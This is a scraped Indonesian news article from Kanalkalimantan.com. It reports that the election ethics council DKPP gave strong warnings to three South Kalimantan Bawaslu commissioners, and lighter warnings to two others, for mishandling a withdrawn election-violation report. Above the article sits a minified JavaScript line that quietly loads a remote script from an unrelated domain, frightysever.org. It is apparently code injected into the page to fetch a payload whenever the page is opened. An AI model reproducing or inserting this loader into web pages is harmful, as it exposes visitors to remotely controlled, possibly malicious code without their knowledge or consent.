(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Tiga komisioner Badan Pengawas Pemilihan Umum (Bawaslu) Provinsi Kalimantan Selatan (Kalsel) ternyata pernah mendapat peringatan keras dari Dewan Kehormatan Penyelenggara Pemilu (DKPP)
Tiga komisioner yang dilantik pada Juli 2023 itu mendapat peringatan keras yaitu Aries Mardiono selaku ketua, kemudian Muhammad Radini dan Des Rizal Rachman Rofiat Darodjat selaku anggota.
Oleh DKPP, tiga komisioner Bawaslu Kalsel tersebut dinyatakan terbukti melanggar Kode Etik Penyelenggara Pemilu (KEPP).
Sanksi “Peringatan Keras” tersebut dibacakan dalam sidang pembacaan putusan sebanyak lima perkara di ruang sidang DKPP, Jakarta, pada Selasa (1/10/2024) lalu.
Baca juga: Kunjungan Pejabat Pemko Banjarbaru ke Perpustakaan Palnam, Ini Respon Mereka
Sidang ini dipimpin oleh Ratna Dewi Pettalolo. Didampingi oleh Anggota Majelis J, Kristiadi, dan Muhammad Tio Aliansyah.
“Menjatuhkan sanksi Peringatan Keras kepada Teradu I Aries Mardiono selaku Ketua merangkap Anggota Bawaslu Provinsi Kalimantan Selatan, Teradu II Muhammad Radini dan Teradu V Des Rizal Rachman Rofiat Darodjat masing-masing selaku Anggota Bawaslu Provinsi Kalimantan Selatan terhitung sejak putusan ini bacakan,” kata Ketua Majelis Ratna Dewi Pettalolo dilansir dari rilis DKPP RI.
Sementara dua anggota Bawaslu Kalsel lainnya, Akhmad Mukhlis dan Thessa Aji Budiono mendapat “Peringatan”.
DKPP menilai tindakan para teradu yang tidak melakukan penanganan terhadap laporan dugaan pelanggaran Pemilu yang disampaikan oleh pengadu dan tindakan penerimaan pencabutan laporan yang tidak sesuai dengan mekanisme prosedur yang diatur dalam Peraturan Bawaslu Nomor 7 Tahun 2022 tentang Penanganan Temuan dan Laporan Pelanggaran Pemilu, tidak dapat dibenarkan menurut hukum dan etika.
Baca juga: Bawaslu Kalsel Rekomendasi Batalkan Pencalonan Aditya, Ini Pendapat Ahli Hukum
“Para teradu terbukti tidak profesional dalam melaksanakan tugas dan wewenang sebagai Penyelenggara Pemilu,” ungkap Anggota Majelis DKPP, Muhammad Tio Aliansyah.
Dalam sidang itu, DKPP membacakan putusan untuk lima perkara yang melibatkan 23 teradu. Sanksi yang dijatuhkan yakni “Peringatan Keras” ada 3 dan 10 “Peringatan”.
Sedangkan 10 teradu lainnya direhabilitasi atau dipulihkan nama baiknya karena tidak terbukti melanggar KEPP.
Untuk perkara nomor 151-PKE-DKPPVIW2024, perkara ini diadukan AR Rezkian Noor yang memberikan kuasa kepada Darul Huda Mustaqim, Muhammad Ridho Fuadi, dan Armadiansyah.
Baca juga: Anak Meninggal Dunia Tenggelam di Sungai Alalak, Sang Ibu Melahirkan di Puskesmas
Pengadu awalnya mendalilkan bahwa para teradu melakukan pembiaran pencabutan laporan oleh PDIP di Bawaslu Provinsi Kalsel yang tidak sesuai dengan mekanisme dan prosedur perundang-undangan yang berlaku.
Sebelum menjatuhkan putusan, DKPP telah melakukan pemeriksaan terhadap lima komisioner Bawaslu Kalsel pada Senin (12/8/2024) lalu.
Pada pemeriksa itu, Aries Mardiono selaku Ketua Bawaslu Provinsi Kalsel yang mewakili teradu I sampai V dengan tegas menolak seluruh dalil aduan yang disampaikan oleh pengadu.
Dia menegaskan bahwa Bawaslu Provinsi Kalsel telah melakukan mekanisme penerimaan dan pencabutan laporan sesuai dengan Undang-Undang dan peraturan yang berlaku, dan ia juga menyebutkan bahwa hal ini lumrah terjadi pada saat proses penanganan pelanggara Pemilu.
“Secara formil Perbawaslu 7 Tahun 2022 memberikan peluang kepada pelapor yang dapat mencabut laporannya sebelum dilakukan registrasi,” tegas Aries Mardiono.
Baca juga: Wartono ‘Jegal’ Aditya, Bawaslu Kalsel ‘Lempar Bola’ ke KPU Kalsel
Dia juga menyampaikan bahwa saat laporan diterima dan dicabut oleh pelapor, para teradu sedang melaksanakan pengawasan langsung rapat pleno terbuka rekapitulasi hasil suara Pemilu 2024 yang dilaksanakan oleh KPU Kalsel dihadiri oleh saksi dari PDIP.
“Sejak awal hingga akhir yang ditetapkan hasil perolehan suara di Provinsi Kalimantan Selatan tidak ada keberetan dari pihak PDIP Kalimantan Selatan,” pungkasnya. (Kanalkalimantan.com/rizki)
Reporter: Rizki
Editor: bie
KANALKALIMANTAN.COM, MARTAPURA - Sumardi (63), petani dari Desa Rantau Bakula, Kecamatan Sungai Pinang, Kabupaten Banjar,… Read More
KANALKALIMANTAN.COM, JAKARTA - Sidang Praperadilan Gubernur Kalimantan Selatan (Kalsel) Sahbirin Noor mulai digelar di Pengadilan… Read More
KANALKALIMANTAN.COM, BALIKPAPAN - Memperingati Hari Listrik Nasional (HLN) ke-79, PT PLN (Persero) Unit Penyaluran dan… Read More
KANALKALIMANTAN.COM - Kebutuhan masyarakat Indonesia untuk transfer ke luar negeri semakin meningkat. Hal ini karena banyaknya… Read More
KANALKALIMANTAN.COM, JAKARTA - Menyambut tingginya antusiasme para jurnalis dalam berpartisipasi pada ajang PLN Journalist Award… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Komisi Pemilihan Umum (KPU) Kota Banjarmasin mengevaluasi beberapa hal pasca debat perdana… Read More
This website uses cookies.